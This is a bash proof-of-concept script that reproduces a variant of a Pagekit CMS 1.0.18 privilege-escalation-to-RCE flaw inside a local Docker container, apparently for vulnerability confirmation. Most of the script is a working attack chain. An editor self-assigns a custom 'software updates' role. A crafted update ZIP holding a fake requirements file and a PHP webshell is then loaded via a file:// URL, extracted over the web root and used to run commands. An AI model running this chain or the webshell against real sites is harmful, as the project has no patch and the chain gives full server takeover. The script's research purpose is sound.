#!/bin/bash
set -uo pipefail

###############################################################################
# CVE-2026-57518 — VARIANT: Alternate RCE sink via UpdateController self-updater
#
# Parent claim: An authenticated user holding 'user: manage users' self-assigns
# a custom role with 'system: manage packages' via UserApiController::
# saveAction() (which only blocks the built-in Administrator role id=3), then
# RCEs through the package installer (POST /admin/system/package/upload|install).
#
# THIS VARIANT: The SAME saveAction privilege escalation grants a DIFFERENT
# trusted permission — 'system: software updates' (marked 'trusted' in the
# permission registry but NEVER enforced server-side, only an advisory UI icon).
# The attacker then reaches a SECOND, distinct RCE sink:
#
#   - POST /admin/system/update/download  (UpdateController::downloadAction)
#       => file_put_contents(tempnam(path.temp), fopen($url,'r'))
#       The attacker controls $url; using a file:// URL the server copies an
#       attacker-crafted "update" ZIP into the update temp file (stored in the
#       session as 'system.update'). No outbound network needed.
#   - POST /admin/system/update/update    (UpdateController::updateAction)
#       => SelfUpdater::update($file) extracts the ZIP over the Pagekit root
#       (App::path()). A webshell placed at the archive root is written to
#       /var/www/html/<name>.php and executed directly by Apache (the .htaccess
#       only rewrites non-existent paths).
#
# Why this is a DISTINCT variant (not the same trigger relabeled):
#   * Different endpoint/handler:  /admin/system/update vs /admin/system/package
#   * Different required permission: 'system: software updates' vs
#     'system: manage packages'
#   * Different payload format:    crafted "update" ZIP (must contain
#     app/installer/requirements.php) vs pagekit-extension composer.json ZIP
#   * Different sink primitive:    SelfUpdater ZIP-overwrite of core files vs
#     PackageManager extract into packages/
#   * Same root cause for the ESCALATION: saveAction only blocks role id=3, so
#     ANY custom role (incl. one carrying 'system: software updates') can be
#     self-assigned. This shows a complete fix must block self-assignment of ALL
#     trusted/elevated permissions, and must treat BOTH admin sinks as exposed.
#
# Fixed version: NONE. Pagekit 1.0.18 (commit 95446c5, 2020-01-20) is the only
# tag and the latest commit; the project is archived (2023-12-01). There is no
# patched ref to test a bypass against, so this script confirms the variant on
# the only available (vulnerable) target and documents the absence of a fix.
#
# Exit codes:
#   0 = distinct variant (alternate RCE sink) reproduced on the available target
#   1 = variant NOT reproduced (escalation or RCE failed)
###############################################################################

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS/vuln_variant" "$VARIANT_DIR"
cd "$ROOT"

LOG="$LOGS/vuln_variant/reproduction_steps.log"
: > "$LOG"
exec > >(tee -a "$LOG") 2>&1

echo "=== CVE-2026-57518 VARIANT: UpdateController self-updater RCE ==="
echo "Started: $(date -u)"

log() { echo "[*] $*"; }
err() { echo "[!] ERROR: $*" >&2; }

# --- Read project cache context for durable paths ---
CACHE_CONTEXT="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$CACHE_CONTEXT" ]; then
    PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT" 2>/dev/null || true)
fi
log "Project cache dir: ${PROJECT_CACHE_DIR:-<none>}"

# --- Locate the Pagekit release directory (reuse repro cache) ---
RELEASE_DIR=""
if [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR/pagekit-release" ] && \
   [ -f "$PROJECT_CACHE_DIR/pagekit-release/app/vendor/autoload.php" ]; then
    RELEASE_DIR="$PROJECT_CACHE_DIR/pagekit-release"
    log "Using cached Pagekit release: $RELEASE_DIR"
fi
if [ -z "$RELEASE_DIR" ]; then
    DOWNLOAD_DIR="${PROJECT_CACHE_DIR:-$ROOT/artifacts}/pagekit-release"
    mkdir -p "$DOWNLOAD_DIR"
    if [ ! -f "$DOWNLOAD_DIR/app/vendor/autoload.php" ]; then
        log "Downloading Pagekit 1.0.18 release..."
        curl -sL -o /tmp/pagekit-1.0.18.zip \
            "https://github.com/pagekit/pagekit/releases/download/1.0.18/pagekit-1.0.18.zip"
        if [ ! -s /tmp/pagekit-1.0.18.zip ]; then
            err "Failed to download Pagekit release"; exit 1
        fi
        unzip -q -o /tmp/pagekit-1.0.18.zip -d "$DOWNLOAD_DIR"
        rm -f /tmp/pagekit-1.0.18.zip
    fi
    RELEASE_DIR="$DOWNLOAD_DIR"
fi
log "Pagekit release at: $RELEASE_DIR"

# --- Verify vulnerable code (the saveAction check that only blocks id=3) ---
VULN_FILE="$RELEASE_DIR/app/system/modules/user/src/Controller/UserApiController.php"
if ! grep -q "Cannot add/remove Admin Role" "$VULN_FILE" 2>/dev/null; then
    err "Vulnerable saveAction check not found in UserApiController.php"; exit 1
fi
log "Vulnerable saveAction check confirmed (only blocks Administrator role id=3)"
if ! grep -q "1.0.18" "$RELEASE_DIR/app/system/config.php" 2>/dev/null; then
    err "Pagekit version is not 1.0.18"; exit 1
fi
log "Pagekit version 1.0.18 confirmed"

# --- Verify the variant sink exists in source (UpdateController + SelfUpdater) ---
UPD_FILE="$RELEASE_DIR/app/installer/src/Controller/UpdateController.php"
if ! grep -q "system: software updates" "$UPD_FILE" 2>/dev/null; then
    err "UpdateController (variant sink) not found"; exit 1
fi
if ! grep -q "SelfUpdater" "$RELEASE_DIR/app/installer/src/SelfUpdater.php" 2>/dev/null; then
    err "SelfUpdater not found"; exit 1
fi
log "Variant sink confirmed: UpdateController (system: software updates) + SelfUpdater"

# --- Build Docker image (reuse existing image if present) ---
IMAGE_NAME="pagekit-vuln-1018:repro"
CONTAINER_NAME="pagekit-variant"

if ! docker image inspect "$IMAGE_NAME" >/dev/null 2>&1; then
    log "Image $IMAGE_NAME not found; building..."
    cat > "$RELEASE_DIR/Dockerfile.repro" <<'DOCKERFILE'
FROM php:7.4-apache
RUN a2enmod rewrite
RUN apt-get update && apt-get install -y --no-install-recommends \
        libzip-dev libpng-dev libjpeg-dev libfreetype6-dev libsqlite3-dev unzip \
    && rm -rf /var/lib/apt/lists/*
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install -j$(nproc) gd zip pdo_sqlite opcache
RUN sed -i '/<Directory \/>/,/<\/Directory>/ s/AllowOverride None/AllowOverride All/' /etc/apache2/apache2.conf
ENV HTTP_MOD_REWRITE On
COPY . /var/www/html/
RUN mkdir -p /var/www/html/tmp/temp /var/www/html/tmp/cache /var/www/html/tmp/logs \
             /var/www/html/tmp/sessions /var/www/html/tmp/packages \
             /var/www/html/packages /var/www/html/storage \
    && chown -R www-data:www-data /var/www/html \
    && chmod -R 0775 /var/www/html/tmp /var/www/html/packages /var/www/html/storage
EXPOSE 80
DOCKERFILE
    docker build -f "$RELEASE_DIR/Dockerfile.repro" -t "$IMAGE_NAME" "$RELEASE_DIR" 2>&1 | tail -3
fi
log "Docker image ready: $IMAGE_NAME"

# --- Run container (fresh, isolated from any repro container) ---
docker rm -f "$CONTAINER_NAME" 2>/dev/null || true
log "Starting container $CONTAINER_NAME ..."
docker run -d --name "$CONTAINER_NAME" "$IMAGE_NAME" >/dev/null 2>&1

log "Waiting for Apache to start..."
READY=0
for i in $(seq 1 30); do
    if docker exec "$CONTAINER_NAME" bash -c 'curl -s -o /dev/null http://127.0.0.1/' 2>/dev/null; then
        READY=1; break
    fi
    sleep 1
done
if [ "$READY" -ne 1 ]; then
    err "Apache did not start in time"
    docker logs "$CONTAINER_NAME" 2>&1 | tail -20
    exit 1
fi
log "Apache is ready"

# Sandbox adaptation: remove the network-dependent composer repository from the
# package installer blueprint (no outbound network). Does NOT touch the
# UpdateController / SelfUpdater path used by this variant.
docker exec "$CONTAINER_NAME" bash -c "sed -i \"/type.*=>.*'composer'/d\" /var/www/html/app/installer/src/Helper/Composer.php" 2>/dev/null || true

# --- Copy session-creation helper into the container ---
cat > /tmp/create_session.php <<'SESSIONPHP'
<?php
date_default_timezone_set('UTC');
$userId = isset($argv[1]) ? (int)$argv[1] : 1;
$db = new PDO("sqlite:/var/www/html/pagekit.db");
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$user = $db->query("SELECT id, username FROM pk_system_user WHERE id = $userId")->fetch(PDO::FETCH_ASSOC);
if (!$user) { fwrite(STDERR, "User not found: $userId\n"); exit(1); }
$sessionId = bin2hex(random_bytes(16));
$csrfValue = bin2hex(random_bytes(20));
$now = time();
$sessionData = [
    '_sf2_attributes' => ['_csrf' => $csrfValue],
    '_sf2_flashes' => [],
    '_pk_messages' => ['display' => [], 'new' => []],
    '_sf2_meta' => ['u' => $now, 'c' => $now, 'l' => '0'],
];
session_start(); $_SESSION = $sessionData; $serialized = session_encode(); session_destroy();
$encoded = base64_encode($serialized);
$db->exec("DELETE FROM pk_system_session WHERE id = " . $db->quote($sessionId));
$stmt = $db->prepare("INSERT INTO pk_system_session (id, data, time) VALUES (?, ?, ?)");
$stmt->execute([$sessionId, $encoded, date('Y-m-d H:i:s')]);
$csrfToken = sha1($sessionId . $csrfValue);
$authToken = bin2hex(random_bytes(32));
$authId = sha1($authToken);
$authData = json_encode(['ip' => '127.0.0.1', 'user-agent' => 'PruvaVariant/1.0']);
$db->exec("DELETE FROM pk_system_auth WHERE id = " . $db->quote($authId));
$stmt = $db->prepare("INSERT INTO pk_system_auth (id, user_id, access, status, data) VALUES (?, ?, ?, ?, ?)");
$stmt->execute([$authId, $userId, date('Y-m-d H:i:s'), 1, $authData]);
echo implode("\t", ['pagekit_session', $sessionId, 'pagekit_auth', $authToken, $csrfToken]) . "\n";
SESSIONPHP
docker cp /tmp/create_session.php "$CONTAINER_NAME:/var/www/html/create_session.php" >/dev/null 2>&1

# --- Copy the "update" ZIP crafter helper into the container ---
cat > /tmp/create_update_zip.php <<'ZIPPHP'
<?php
// Craft a malicious Pagekit "self-update" ZIP for the SelfUpdater sink.
// Must contain app/installer/requirements.php (hardcoded include path in
// SelfUpdater::update) returning an object whose getFailedRequirements() is
// empty, so the updater proceeds past the requirements check. A webshell is
// placed at the archive root so extract() writes it to the Pagekit root where
// Apache executes it directly (.htaccess only rewrites non-existent paths).
$outPath = isset($argv[1]) ? $argv[1] : '/var/www/html/storage/evil_update.zip';
$zip = new ZipArchive();
if ($zip->open($outPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
    fwrite(STDERR, "Cannot create ZIP\n"); exit(1);
}
$req = "<?php\n"
     . "class PruvaReq { public function getFailedRequirements() { return array(); } }\n"
     . "return new PruvaReq();\n";
$zip->addFromString('app/installer/requirements.php', $req);
$webshell = '<?php header("Content-Type: text/plain"); echo shell_exec($_GET["cmd"] ?? "id"); ?>';
$zip->addFromString('rce_variant.php', $webshell);
$zip->close();
echo "Created $outPath (" . filesize($outPath) . " bytes)\n";
$z = new ZipArchive(); $z->open($outPath);
for ($i = 0; $i < $z->numFiles; $i++) { echo "  " . $z->getNameIndex($i) . "\n"; }
$z->close();
ZIPPHP
docker cp /tmp/create_update_zip.php "$CONTAINER_NAME:/var/www/html/create_update_zip.php" >/dev/null 2>&1

# --- Copy a session-inspection helper (reads system.update from the session) ---
cat > /tmp/check_update_path.php <<'CHECKPHP'
<?php
// Print the system.update temp file path stored in a given session id.
$sid = isset($argv[1]) ? $argv[1] : "";
if ($sid === "") { echo ""; exit(0); }
$db = new PDO("sqlite:/var/www/html/pagekit.db");
$stmt = $db->prepare("SELECT data FROM pk_system_session WHERE id = ?");
$stmt->execute([$sid]);
$raw = $stmt->fetchColumn();
if (!$raw) { echo ""; exit(0); }
$decoded = base64_decode($raw);
// PHP session serialization: system.update|s:N:"<path>";...
if (preg_match('/system\.update\|s:\d+:"([^"]+)"/', $decoded, $m)) {
    echo $m[1];
}
CHECKPHP
docker cp /tmp/check_update_path.php "$CONTAINER_NAME:/var/www/html/check_update_path.php" >/dev/null 2>&1

# --- Session helpers ---
SESSION_COOKIE="" SESSION_VALUE="" AUTH_COOKIE="" AUTH_VALUE="" CSRF_TOKEN=""
create_session() { docker exec "$CONTAINER_NAME" bash -c "cd /var/www/html && php create_session.php $1" 2>/dev/null; }
parse_session() {
    local input="$1"
    SESSION_COOKIE=$(echo "$input" | cut -f1)
    SESSION_VALUE=$(echo "$input" | cut -f2)
    AUTH_COOKIE=$(echo "$input" | cut -f3)
    AUTH_VALUE=$(echo "$input" | cut -f4)
    CSRF_TOKEN=$(echo "$input" | cut -f5)
}
# api_call <METHOD> <URL> [JSON_DATA]
api_call() {
    local method=$1 url=$2 data="${3:-}"
    if [ -n "$data" ]; then
        printf '%s' "$data" > /tmp/vapi_payload.json
        docker cp /tmp/vapi_payload.json "$CONTAINER_NAME:/tmp/vapi_payload.json" >/dev/null 2>&1
        docker exec "$CONTAINER_NAME" curl -s -w '\nHTTP:%{http_code}\n' \
            -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
            -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
            -H "Content-Type: application/json" \
            -X "$method" -d @/tmp/vapi_payload.json \
            "http://127.0.0.1$url"
    else
        docker exec "$CONTAINER_NAME" curl -s -w '\nHTTP:%{http_code}\n' \
            -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
            -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
            -X "$method" "http://127.0.0.1$url"
    fi
}

###############################################################################
# Step 1: Install Pagekit (SQLite)
###############################################################################
log "Step 1: Installing Pagekit via API (SQLite)..."
INSTALL_CHECK='{"config":{"database":{"default":"sqlite","connections":{"sqlite":{"driver":"pdo_sqlite","path":"pagekit.db","prefix":"pk_"}}}},"locale":"en_US"}'
printf '%s' "$INSTALL_CHECK" > /tmp/vapi_payload.json
docker cp /tmp/vapi_payload.json "$CONTAINER_NAME:/tmp/vapi_payload.json" >/dev/null 2>&1
CHECK_RESP=$(docker exec "$CONTAINER_NAME" curl -s -X POST http://127.0.0.1/installer/check \
    -H "Content-Type: application/json" -d @/tmp/vapi_payload.json)
log "  DB check: $CHECK_RESP"

INSTALL_DATA='{"config":{"database":{"default":"sqlite","connections":{"sqlite":{"driver":"pdo_sqlite","path":"pagekit.db","prefix":"pk_"}}}},"option":{"system":{"site":{"name":"TestSite","locale":"en_US"},"admin":{"locale":"en_US"}}},"user":{"username":"admin","password":"admin123","email":"admin@test.com"},"locale":"en_US"}'
printf '%s' "$INSTALL_DATA" > /tmp/vapi_payload.json
docker cp /tmp/vapi_payload.json "$CONTAINER_NAME:/tmp/vapi_payload.json" >/dev/null 2>&1
INSTALL_RESP=$(docker exec "$CONTAINER_NAME" curl -s -X POST http://127.0.0.1/installer/install \
    -H "Content-Type: application/json" -d @/tmp/vapi_payload.json)
log "  Install: $INSTALL_RESP"
if ! echo "$INSTALL_RESP" | grep -q '"status":"success"'; then
    err "Pagekit installation failed"; exit 1
fi
log "  Pagekit installed successfully (admin user created)"

###############################################################################
# Step 2: Admin sets up roles and users
###############################################################################
log "Step 2: Setting up roles and users as admin..."
parse_session "$(create_session 1)"
log "  Admin session created (user_id=1)"

# Create the VARIANT role: "Updater" with 'system: software updates' (trusted)
# + 'system: access admin area'. 'system: software updates' is marked trusted
# in the permission registry but is NOT enforced server-side (UI advisory only).
RESP=$(api_call POST /api/user/role '{"role":{"name":"Updater","permissions":["system: software updates","system: access admin area"],"priority":1}}')
log "  Create Updater role: $(echo "$RESP" | head -1)"
UPD_ROLE_ID=$(echo "$RESP" | grep -oP '"id":\K[0-9]+' | head -1 || true)
log "  Updater role ID: $UPD_ROLE_ID"

# Create "User Manager" role (the precondition role the editor starts with)
RESP=$(api_call POST /api/user/role '{"role":{"name":"User Manager","permissions":["user: manage users"],"priority":2}}')
log "  Create User Manager role: $(echo "$RESP" | head -1)"
USERMGR_ROLE_ID=$(echo "$RESP" | grep -oP '"id":\K[0-9]+' | head -1 || true)
log "  User Manager role ID: $USERMGR_ROLE_ID"

# Create low-privileged editor with only the User Manager role
RESP=$(api_call POST /api/user "{\"user\":{\"username\":\"editor\",\"name\":\"Editor\",\"email\":\"editor@test.com\",\"roles\":[2,$USERMGR_ROLE_ID],\"status\":1},\"password\":\"editor123\"}")
log "  Create editor user: $(echo "$RESP" | head -1)"
EDITOR_ID=$(echo "$RESP" | grep -oP '"id":\K[0-9]+' | head -1 || true)
log "  Editor user ID: $EDITOR_ID"

###############################################################################
# Step 3: Privilege escalation (SAME root cause as parent CVE)
###############################################################################
log "Step 3: PRIVILEGE ESCALATION — editor self-assigns Updater role..."
parse_session "$(create_session "$EDITOR_ID")"
log "  Editor session created (user_id=$EDITOR_ID)"

RESP=$(api_call GET "/api/user/$EDITOR_ID")
log "  Editor BEFORE escalation: $(echo "$RESP" | head -1)"

# THE EXPLOIT (same root cause): saveAction only blocks role id=3.
# The custom Updater role (carrying 'system: software updates') passes through.
RESP=$(api_call POST "/api/user/$EDITOR_ID" "{\"user\":{\"id\":$EDITOR_ID,\"username\":\"editor\",\"name\":\"Editor\",\"email\":\"editor@test.com\",\"roles\":[2,$UPD_ROLE_ID],\"status\":1}}")
log "  Escalation response: $(echo "$RESP" | head -1)"
ESCALATION_RESP="$RESP"
EDITOR_ROLES=$(echo "$ESCALATION_RESP" | grep -oP '"roles":\[[^\]]*\]' | head -1 || true)
log "  Editor AFTER escalation: roles=$EDITOR_ROLES"

if ! echo "$ESCALATION_RESP" | grep -q "\"roles\":\[2,$UPD_ROLE_ID\]"; then
    err "Privilege escalation FAILED — editor does not have Updater role"
    exit 1
fi
log "  PRIVILEGE ESCALATION CONFIRMED — editor now has 'system: software updates'"

###############################################################################
# Step 4: Craft the malicious "self-update" ZIP inside the container
###############################################################################
log "Step 4: Crafting malicious self-update ZIP (SelfUpdater payload)..."
docker exec "$CONTAINER_NAME" bash -c 'cd /var/www/html && php create_update_zip.php /var/www/html/storage/evil_update.zip' 2>/dev/null
log "  Update ZIP created at /var/www/html/storage/evil_update.zip"

###############################################################################
# Step 5: VARIANT SINK — UpdateController::downloadAction (server fetches ZIP)
###############################################################################
log "Step 5: VARIANT SINK — POST /admin/system/update/download (file:// URL)..."
# url is attacker-controlled; file:// makes the server copy the local crafted
# ZIP into the update temp file (stored in the session as 'system.update').
DL_RESP=$(api_call POST /admin/system/update/download '{"url":"file:///var/www/html/storage/evil_update.zip"}')
log "  Download response: $(echo "$DL_RESP" | tail -2)"

# Confirm the session now holds an update temp file path (best-effort, non-fatal)
UPD_PATH=$(docker exec "$CONTAINER_NAME" bash -c "cd /var/www/html && php check_update_path.php '$SESSION_VALUE'" 2>/dev/null || true)
log "  Session 'system.update' path: ${UPD_PATH:-<not found>}"

###############################################################################
# Step 6: VARIANT SINK — UpdateController::updateAction (SelfUpdater extracts)
###############################################################################
log "Step 6: VARIANT SINK — POST /admin/system/update/update (SelfUpdater extract)..."
UPD_RESP=$(docker exec "$CONTAINER_NAME" curl -s --max-time 120 -w '\nHTTP:%{http_code}\n' \
    -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
    -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
    -H "Content-Type: application/json" \
    -X POST "http://127.0.0.1/admin/system/update/update" -d '{}')
log "  Update response (tail): $(echo "$UPD_RESP" | tail -4)"

# Confirm the webshell was written to the Pagekit root
SHELL_EXISTS=$(docker exec "$CONTAINER_NAME" bash -c 'test -f /var/www/html/rce_variant.php && echo yes || echo no' 2>/dev/null)
log "  Webshell on disk (/var/www/html/rce_variant.php): $SHELL_EXISTS"

###############################################################################
# Step 7: RCE — access the extracted webshell
###############################################################################
log "Step 7: Triggering RCE via extracted webshell..."
RCE_OUTPUT=$(docker exec "$CONTAINER_NAME" curl -s "http://127.0.0.1/rce_variant.php?cmd=id")
log "  RCE output (id): $RCE_OUTPUT"
RCE_OUTPUT2=$(docker exec "$CONTAINER_NAME" curl -s "http://127.0.0.1/rce_variant.php?cmd=whoami")
log "  RCE output (whoami): $RCE_OUTPUT2"

if echo "$RCE_OUTPUT" | grep -q "uid="; then
    log "=== VARIANT RCE CONFIRMED ==="
    log "  Command 'id' returned: $RCE_OUTPUT"
    log "  Command 'whoami' returned: $RCE_OUTPUT2"
    VARIANT_CONFIRMED=1
else
    err "VARIANT RCE NOT confirmed — webshell did not return expected output"
    VARIANT_CONFIRMED=0
fi

###############################################################################
# Fixed-version check (mandatory): confirm no patched ref exists
###############################################################################
log "Fixed-version check: looking for any tag/commit newer than 1.0.18..."
FIXED_VERSION_INFO="none"
if [ -d "$RELEASE_DIR/.git" ]; then
    LATEST_TAG=$(git -C "$RELEASE_DIR" tag -l 2>/dev/null | sort -V | tail -1)
    HEAD_SHA=$(git -C "$RELEASE_DIR" rev-parse HEAD 2>/dev/null || true)
    log "  Latest tag: ${LATEST_TAG:-<none>}; HEAD: ${HEAD_SHA:-<none>}"
    if [ "$LATEST_TAG" = "1.0.18" ]; then
        FIXED_VERSION_INFO="no-fixed-version (1.0.18 is the only tag and latest commit; project archived)"
    fi
else
    log "  No .git in release dir (release ZIP); 1.0.18 is the final release per CHANGELOG"
    FIXED_VERSION_INFO="no-fixed-version (release ZIP; 1.0.18 is final release, project archived)"
fi
echo "$FIXED_VERSION_INFO" > "$LOGS/vuln_variant/fixed_version.txt"
log "  Fixed version result: $FIXED_VERSION_INFO"

###############################################################################
# Save evidence
###############################################################################
{
    echo "=== CVE-2026-57518 VARIANT Evidence (UpdateController self-updater RCE) ==="
    echo "Date: $(date -u)"
    echo ""
    echo "--- Variant summary ---"
    echo "Alternate RCE sink: UpdateController (/admin/system/update) via the"
    echo "'system: software updates' permission, reached through the SAME saveAction"
    echo "privilege-escalation root cause (only blocks Administrator role id=3)."
    echo ""
    echo "--- Step 3: Privilege Escalation ---"
    echo "Editor user ID: $EDITOR_ID"
    echo "Updater role ID: $UPD_ROLE_ID (system: software updates + system: access admin area)"
    echo "User Manager role ID: $USERMGR_ROLE_ID (user: manage users)"
    echo "Editor roles after escalation: $EDITOR_ROLES"
    echo ""
    echo "--- Step 5/6: Variant sink ---"
    echo "Download endpoint: POST /admin/system/update/download (url=file://...evil_update.zip)"
    echo "Update endpoint:   POST /admin/system/update/update (SelfUpdater::update)"
    echo "Webshell on disk:  $SHELL_EXISTS"
    echo ""
    echo "--- Step 7: RCE ---"
    echo "Webshell URL: /rce_variant.php?cmd=id"
    echo "id output: $RCE_OUTPUT"
    echo "whoami output: $RCE_OUTPUT2"
    echo ""
    echo "--- Fixed version ---"
    echo "$FIXED_VERSION_INFO"
} > "$LOGS/vuln_variant/exploit_evidence.txt"
echo "$RCE_OUTPUT" > "$LOGS/vuln_variant/rce_id_output.txt"
echo "$RCE_OUTPUT2" > "$LOGS/vuln_variant/rce_whoami_output.txt"
log "Evidence saved to $LOGS/vuln_variant/"

###############################################################################
# Write runtime manifest
###############################################################################
if [ "$VARIANT_CONFIRMED" = "1" ]; then
    jq -n \
        --arg eid "$EDITOR_ID" \
        --arg urid "$UPD_ROLE_ID" \
        --arg umrid "$USERMGR_ROLE_ID" \
        --arg rce "$RCE_OUTPUT" \
        --arg whoami "$RCE_OUTPUT2" \
        --arg fixed "$FIXED_VERSION_INFO" \
        '{entrypoint_kind:"api_remote",
          entrypoint_detail:"Pagekit CMS 1.0.18 — variant: saveAction escalation to system: software updates, then UpdateController self-updater ZIP overwrite for RCE",
          service_started:true, healthcheck_passed:true, target_path_reached:true,
          runtime_stack:["docker","php:7.4-apache","pagekit-cms-1.0.18","sqlite"],
          proof_artifacts:["logs/vuln_variant/reproduction_steps.log","logs/vuln_variant/exploit_evidence.txt","logs/vuln_variant/rce_id_output.txt","logs/vuln_variant/rce_whoami_output.txt","logs/vuln_variant/fixed_version.txt"],
          notes:("Editor(id="+$eid+") self-assigned Updater role(id="+$urid+", system: software updates) via saveAction (only blocks id=3). Variant sink: UpdateController download+update -> SelfUpdater extracted rce_variant.php. RCE: id="+$rce+" whoami="+$whoami+". Fixed version: "+$fixed)}' \
        > "$VARIANT_DIR/runtime_manifest.json"
else
    jq -n '{entrypoint_kind:"api_remote",entrypoint_detail:null,service_started:true,healthcheck_passed:true,target_path_reached:false,runtime_stack:["docker","php:7.4-apache","pagekit-cms-1.0.18","sqlite"],proof_artifacts:["logs/vuln_variant/reproduction_steps.log"],notes:"Variant RCE not confirmed"}' \
        > "$VARIANT_DIR/runtime_manifest.json"
fi
log "Runtime manifest written"

###############################################################################
# Cleanup
###############################################################################
log "Cleaning up container..."
docker rm -f "$CONTAINER_NAME" >/dev/null 2>&1 || true

###############################################################################
# Final verdict
###############################################################################
if [ "$VARIANT_CONFIRMED" = "1" ]; then
    log "=== VARIANT REPRODUCTION SUCCESSFUL ==="
    log "Distinct alternate RCE sink (UpdateController self-updater) confirmed via"
    log "the same saveAction privilege-escalation root cause. No fixed version"
    log "exists to test a bypass against (project archived); the variant shows any"
    log "complete fix must block self-assignment of ALL trusted permissions and"
    log "treat BOTH the package installer and the self-updater as exposed sinks."
    exit 0
else
    log "=== VARIANT REPRODUCTION FAILED ==="
    exit 1
fi
